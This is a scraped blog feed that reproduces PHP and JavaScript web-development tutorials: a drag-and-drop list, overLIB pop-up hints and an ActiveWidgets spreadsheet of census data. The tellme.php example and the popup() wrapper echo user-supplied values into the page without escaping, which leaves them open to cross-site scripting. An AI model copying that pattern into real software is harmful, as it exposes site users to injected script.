</o:p></pre><pre style="color: rgb(153, 0, 0);">function verticalOnly(item)<br />{ item.toolManDragGroup.verticalOnly( ) }</pre><pre style="color: rgb(153, 0, 0);"><o:p> </o:p></pre><pre style="color: rgb(153, 0, 0);">function saveOrder(item) { }</pre><pre style="color: rgb(153, 0, 0);"><o:p> </o:p></pre><pre style="color: rgb(153, 0, 0);">function prepFields( )</pre><pre style="color: rgb(153, 0, 0);">{</pre><pre style="color: rgb(153, 0, 0);">document.getElementById( "states_text" ).value = junkdrawer.</pre><pre style="color: rgb(153, 0, 0);">serializeList( document.getElementById( "states" ) );</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>return true;</pre><pre style="color: rgb(153, 0, 0);">}</pre><pre style="color: rgb(153, 0, 0);">//--></pre><pre style="color: rgb(153, 0, 0);"></script></pre><pre style="color: rgb(153, 0, 0);"></head></pre><pre style="color: rgb(153, 0, 0);"><body></pre><pre style="color: rgb(153, 0, 0);"><o:p> </o:p></pre><pre style="color: rgb(153, 0, 0);"><ul id="states" class="boxy"></pre><pre style="color: rgb(153, 0, 0);"><span style="" lang="SV"><li>California</li><o:p></o:p></span></pre><pre style="color: rgb(153, 0, 0);"><span style="" lang="SV"><li>Texas</li><o:p></o:p></span></pre><pre style="color: rgb(153, 0, 0);"><span style="" lang="SV"><li>Alaska</li><o:p></o:p></span></pre><pre style="color: rgb(153, 0, 0);"><span style="" lang="SV"></ul><o:p></o:p></span></pre><pre style="color: rgb(153, 0, 0);"><span style="" lang="SV"><o:p> </o:p></span></pre><pre style="color: rgb(153, 0, 0);"><span style="" lang="SV"><form method="post" action="tellme.php"><o:p></o:p></span></pre><pre style="color: rgb(153, 0, 0);"><input type="hidden" name="<a name="idx-CHP-3-0096"></a>states" value="" id="states_text" /></pre><pre style="color: rgb(153, 0, 0);"><input type="submit" onclick="return prepFields( );"></pre><pre style="color: rgb(153, 0, 0);"></form></pre><pre style="color: rgb(153, 0, 0);"><o:p> </o:p></pre><pre style="color: rgb(153, 0, 0);"></body></pre><pre style="color: rgb(153, 0, 0);"><o:p> </o:p></pre><pre style="color: rgb(153, 0, 0);"></html></pre> <p style="color: rgb(153, 0, 0);" class="MsoNormal"><o:p> </o:p></p> <p class="doctext">The simple code in Example 2 saved as <span class="docemphasis">tellme.php</span>prints out values in an array.</p> <h5><a name="phphks-CHP-3-EXAMPLE-4"></a>Example 2. PHP used to print out some values from the list</h5> <pre style="color: rgb(204, 0, 0);"><body></pre><pre style="color: rgb(204, 0, 0);"><html></pre><pre style="color: rgb(204, 0, 0);">You chose: <?php echo( $_POST['states'] ); ?></pre><pre style="color: rgb(204, 0, 0);"></html></pre><pre style="color: rgb(204, 0, 0);"></body></pre> <p class="MsoNormal"><a name="phphks-CHP-3-SECT-4.2"></a><o:p> </o:p></p> <h4>Running</h4> <p class="doctext">Download and unpack the <a name="idx-CHP-3-0097"></a>drag-and-drop libraries onto your web server. Then upload the files and navigate to the <span class="docemphasis">index.html</span> page. You should see something that looks like Figure 1.</p> <h5 style="text-align: center;" align="center"><a name="phphks-CHP-3-FIG-4"></a>Figure 1. The drag-and-drop list</h5><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfVBx3quvqHxqlEqda3H_-jmsqA4pZrS-WOmgp6SW2XKp2xcmvRc098FTr2fyxqr4bSYKFplgR2cCGP42jazni1m-IVlgPj-wf8UnAMwROafOipM8P5Fu6tWC71phvuYRDaK8h433hCEvx/s1600-h/14.bmp"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfVBx3quvqHxqlEqda3H_-jmsqA4pZrS-WOmgp6SW2XKp2xcmvRc098FTr2fyxqr4bSYKFplgR2cCGP42jazni1m-IVlgPj-wf8UnAMwROafOipM8P5Fu6tWC71phvuYRDaK8h433hCEvx/s320/14.bmp" alt="" id="BLOGGER_PHOTO_ID_5020631444142561666" border="0" /></a> <p class="doctext">Now drag and drop the lines to rearrange the items however you like; then click the Submit button. At that point, the contents of the list will be transferred into a hidden <a name="idx-CHP-3-0099"></a>form variable called <span style="font-size:100%;"><tt>states</tt></span>, and uploaded to the server. The <span class="docemphasis">tellme.php</span> script then prints the values from that variable in the order you specified (as shown in Figure 2).</p> <a name="phphks-CHP-3-FIG-5"></a><span style=""><span style="font-size:100%;">Figure 2. After clicking on the Submit button</span><br /></span><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjU-WzJZhUsi7R-UwJyV25VzN1-ypAf1YJJqsL7W9M0aEnL4NFFAVIvzgSNMEE5klLh8GljXZLFJFfKl3-yy-9TgH5fDk_7Z70HEGKRmmMi6OnSTXxmO2h0EelBIvbsrs9YwH3nEFnwCr2q/s1600-h/15.bmp"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjU-WzJZhUsi7R-UwJyV25VzN1-ypAf1YJJqsL7W9M0aEnL4NFFAVIvzgSNMEE5klLh8GljXZLFJFfKl3-yy-9TgH5fDk_7Z70HEGKRmmMi6OnSTXxmO2h0EelBIvbsrs9YwH3nEFnwCr2q/s320/15.bmp" alt="" id="BLOGGER_PHOTO_ID_5020631787739945362" border="0" /></a> <p class="doctext">Dynamic, little interface widgets such as this one can differentiate between your web application and others in terms of ease of use. And sometimes it's good having one just for a little perk during demos! With the results of a drag stored in a form variable, your PHP can easily retrieve the data and do anything you want it to do.</p><br /></span>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-9118022163677266850.post-27771068440454131972007-01-15T16:18:00.000-08:002007-01-15T16:40:19.670-08:00Create Pop-Up Hints<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhryKO1OezJygEFr9sOCL8_dO54JFA7rusSytfjFa1-ChYNxaGctNaW8EN_eROwhTQRBVSdJtk4NllOjkCkOglC4L6y2h1YQB9kgSDcfeAYxzia2s1wuE50nSV1jLUYkGz6naoR5Yf0f1Jr/s1600-h/12.bmp"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhryKO1OezJygEFr9sOCL8_dO54JFA7rusSytfjFa1-ChYNxaGctNaW8EN_eROwhTQRBVSdJtk4NllOjkCkOglC4L6y2h1YQB9kgSDcfeAYxzia2s1wuE50nSV1jLUYkGz6naoR5Yf0f1Jr/s320/12.bmp" alt="" id="BLOGGER_PHOTO_ID_5020416682892859746" border="0" /></a><br /><p style="margin-top: 0.19in; margin-bottom: 0.19in;"><a name="idx-CHP-3-0086"></a> Use the overLIB library to pop up hints for words on your web page using JavaScript and PHP.</p> <p style="margin-top: 0.19in; margin-bottom: 0.19in;"><a name="idx-CHP-3-0087"></a> With the overLIB JavaScript library (<span style="color: rgb(0, 0, 255);"><u><a href="http://www.bosrup.com/web/overlib/" target="_blank">http://www.bosrup.com/web/overlib/</a></u></span>), you can have handy pop-up labels that appear above text on your page. This hack makes it a little easier to create these links by providing a PHP wrapper function to invoke the library.</p> <h4 class="western"><a name="phphks-CHP-3-SECT-3.1"></a>The Code</h4><span class="fullpost"> <p style="margin-top: 0.19in; margin-bottom: 0.19in;">Save the code shown in Example 1 as index.php.</p> <h5 class="western"><a name="phphks-CHP-3-EXAMPLE-2"></a>Example 1. A wrapper function that simplifies overLIB use, courtesy of PHP</h5> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><?php</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">function popup( $text, $popup )</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">{</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">?></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><a href="javascript:void(0);" onmouseover="return overlib('<?php echo($popup); ?></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">');" onmouseout="return nd();"><?php echo($text); ?></a></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><?php</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">}</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">?></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><html></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><head></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><script type="text/javascript" src="overlib.js"><!-- overLIB (c) Erik Bosrup --></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"></script></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"></head></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><body></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><div id="overDiv" style="position:absolute; visibility:hidden; z-index:1000;"></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"></div></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">So this is just a test of popups. Not something interesting about <?php popup(</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> 'rabbits', 'Small furry woodland creatures.<br/>Rabbits also make good pets.'</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> ); ?>. Because that would just be silly.</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"></body></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"></html></span></span></p> <p style="margin-bottom: 0in;"><br /></p> <p style="margin-top: 0.19in; margin-bottom: 0.19in;">You could also put the wrapper function into a PHP library, include that library in your PHP pages, and turn this into a nice, reusable utility function.</p> <h4 class="western"><a name="phphks-CHP-3-SECT-3.2"></a>Running</h4> <p style="margin-top: 0.19in; margin-bottom: 0.19in;"><a name="idx-CHP-3-0088"></a> Download and unpack the overLIB library into your web server's documents directory. Then add in the index.php file and surf to it on your browser. You should see something similar to Figure 1.</p> <h5 class="western" align="center">Figure 1. The page with the pop-up link</h5><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhryKO1OezJygEFr9sOCL8_dO54JFA7rusSytfjFa1-ChYNxaGctNaW8EN_eROwhTQRBVSdJtk4NllOjkCkOglC4L6y2h1YQB9kgSDcfeAYxzia2s1wuE50nSV1jLUYkGz6naoR5Yf0f1Jr/s1600-h/12.bmp"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhryKO1OezJygEFr9sOCL8_dO54JFA7rusSytfjFa1-ChYNxaGctNaW8EN_eROwhTQRBVSdJtk4NllOjkCkOglC4L6y2h1YQB9kgSDcfeAYxzia2s1wuE50nSV1jLUYkGz6naoR5Yf0f1Jr/s320/12.bmp" alt="" id="BLOGGER_PHOTO_ID_5020416682892859746" border="0" /></a> <p style="margin-top: 0.19in; margin-bottom: 0.19in;">Next, move the mouse over the word rabbits, and you will see the pop up appear, which gives you a little more information about rabbits (as seen in Figure 2).</p><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwoIuYpcGeGwSP06zvTVzuFMLAErauTSIn5ClbjfdsnUDqjtlHxKE9OYAxEPGglR4U36o8rQvBtwXYOgYxKAf0pdelCJKBsNSW7Ej5xCKcPsOBZDjo15RBa75T6sFWPMxH8ry_VLxd-Kyz/s1600-h/13.bmp"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwoIuYpcGeGwSP06zvTVzuFMLAErauTSIn5ClbjfdsnUDqjtlHxKE9OYAxEPGglR4U36o8rQvBtwXYOgYxKAf0pdelCJKBsNSW7Ej5xCKcPsOBZDjo15RBa75T6sFWPMxH8ry_VLxd-Kyz/s320/13.bmp" alt="" id="BLOGGER_PHOTO_ID_5020418027217623410" border="0" /></a> <p style="margin-top: 0.19in; margin-bottom: 0.19in;">This pop up can be as elaborate as you like, with images, tables, different fonts, styles, and whatever else you please.</p></span>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-9118022163677266850.post-13878182854352509502007-01-15T15:54:00.000-08:002007-01-16T00:55:10.117-08:00Put an Interactive Spreadsheet on Your Page<a name="idx-CHP-3-0069"></a><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikcWMVdlofEj3KVZ3um38E_n69CP03rMjjnafWWKclhj2rmT7eVc09GgO_fvE-hsGOGv7Th_fwh54qLwZ-S0aNSA2LILY-y0NFvtwK_nSJM73Ttmf5ep5QM1Wokw5LUZ8qhG348-lhkqwA/s1600-h/11.bmp"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikcWMVdlofEj3KVZ3um38E_n69CP03rMjjnafWWKclhj2rmT7eVc09GgO_fvE-hsGOGv7Th_fwh54qLwZ-S0aNSA2LILY-y0NFvtwK_nSJM73Ttmf5ep5QM1Wokw5LUZ8qhG348-lhkqwA/s320/11.bmp" alt="" id="BLOGGER_PHOTO_ID_5020411030715898194" border="0" /></a><br /><p style="margin-top: 0.19in; margin-bottom: 0.19in;"><a name="idx-CHP-3-0069"></a> Use the ActiveWidgets spreadsheet library to put an interactive JavaScript data control on your page.</p> <p style="margin-top: 0.19in; margin-bottom: 0.19in;"><a name="idx-CHP-3-0070"></a> Let's face it: some dataparticularly financial and statistical datajust looks better when it's presented as a spreadsheet. Unfortunately, HTML does a poor job of giving you an interactive spreadsheet-style feel, especially when it comes to scrolling around, sorting, or any of the truly interactive user experience elements of a spreadsheet.</p> <p style="margin-top: 0.19in; margin-bottom: 0.19in;"><a name="idx-CHP-3-0071"></a> This hack uses the ActiveWidgets (<span style="color: rgb(0, 0, 255);"><u><a href="http://activewidgets.com/" target="_blank">http://activewidgets.com/</a></u></span>) grid control to create a spreadsheet-style interface on a web page.</p> <h4 class="western"><a name="phphks-CHP-3-SECT-2.1"></a>The Code</h4><span class="fullpost"> <p style="margin-top: 0.19in; margin-bottom: 0.19in;">Save the code in Example 1 as index.php.</p> <h5 class="western"><a name="phphks-CHP-3-EXAMPLE-1"></a>Example 1. A script that provides state-specific data in a spreadsheet format</h5> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><?php $states = array(</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> array( "Alabama",4447100,1963711,</span></span></p><p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">52419.02,1675.01,50744,87.6,38.7 ),</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> array( "Alaska",626932,260978,</span></span></p><p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">663267.26,91316,571951.26,1.1,0.5 ),</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> array( "Arizona",5130632,2189189,</span></span></p><p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">113998.3,363.73,113634.57,45.2,19.3 ),</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> array( "Arkansas",2673400,1173043,</span></span></p><p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">53178.62,1110.45,52068.17,51.3,22.5 ),</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> array( "California",33871648,12214549,</span></span></p><p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">163695.57,7736.23,155959.34,217.2,78.3 ),</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> array( "Colorado",4301261,1808037,104093.57,</span></span></p><p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">376.04,103717.53,41.5,17.4 ),</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> array( "South Dakota",754844,323208,77116.49,</span></span></p><p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">1231.85,75884.64,9.9,4.3 ),</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> …</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> array( "Tennessee",5689283,2439443,42143.27,</span></span></p><p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">926.15,41217.12,138,59.2 ),</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> array( "Texas",20851820,8157575,268580.82,</span></span></p><p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">6783.7,261797.12,79.6,31.2 ),</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> array( "Utah",2233169,768594,84898.83,</span></span></p><p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">2755.18,82143.65,27.2,9.4 ),</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> array( "Vermont",608827,294382,9614.26,</span></span></p><p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">364.7,9249.56,65.8,31.8 ),</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> array( "Virginia",7078515,2904192,42774.2,</span></span></p><p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">3180.13,39594.07,178.8,73.3 ),</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> array( "Washington",5894121,2451075,71299.64,</span></span></p><p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">4755.58,66544.06,88.6,36.8 ),</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> array( "West Virginia",1808344,844623,24229.76,</span></span></p><p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">152.03,24077.73,75.1,35.1 ),</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> array( "Wisconsin",5363675,2321144,65497.82,</span></span></p><p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">11187.72,54310.1,98.8,42.7 ),</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> array( "Wyoming",493782,223854,97813.56,713.16,</span></span></p><p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">97100.4,5.1,2.3 ),</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> array( "Puerto Rico",3808610,1418476,5324.5,1899.94,</span></span></p><p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">3424.56,1112.1,414.2 )</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">);</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">?></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><a name="idx-CHP-3-0072"></a><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><html></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><head></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><a name="idx-CHP-3-0073"></a><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><link href="runtime/styles/xp/grid.css" rel="stylesheet" type="text/css" ></link></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><script src="runtime/lib/grid.js"></script></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"></head></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><body></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><div style="width:500px;height:300px;"></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><script></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">var data = [</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><?php $first = true; foreach( $states as $state )<br /></span></span></p><p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">{ if ( !$first ) echo( "," );</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">?></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">[ "<?php echo($state[0]); ?>", <?php echo($state[1]); ?>,</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <?php echo($state[2]); ?>, <?php echo($state[3]); ?>,</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <?php echo($state[4]); ?>, <?php echo($state[5]); ?>,</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <?php echo($state[6]); ?>, <?php echo($state[7]); ?> ]</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><?php $first = false; } ?></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">];</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">var columns = [ "State", "Population", "Housing Units", "Total Area",</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">"Total Water", "Total Land", "Population Density", "Housing Density" ];</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">function dataLookup( row, col )</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">{</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> return data[row][col];</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">}</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">function headerLookup( col )</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">{</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> return columns[ col ];</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">}</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">var grid = new Active.Controls.Grid;</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">grid.setRowCount( data.length );</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">grid.setColumnCount( columns.length );</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">grid.setDataText( dataLookup );</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">grid.setColumnText( headerLookup );</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);" lang="nl-NL"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;">document.write( grid );</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"></script></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"></div></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"></body></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><a name="idx-CHP-3-0074"></a><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"></html></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><a name="phphks-CHP-3-SECT-2.2"></a><br /></p> <h4 style="color: rgb(153, 0, 0);" class="western">Running</h4> <p style="margin-top: 0.19in; margin-bottom: 0.19in;"><a name="idx-CHP-3-0075"></a> Download the ActiveWidgets grid library and unpack it. Move that directory to your server and place the index.php file in the same directory as the ActiveWidgets files. Then point your browser to index.php; you should see something like Figure 1</p> <h5 class="western" align="center">Figure 1. An ActiveWidgets grid control with U.S. census data</h5> <a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" 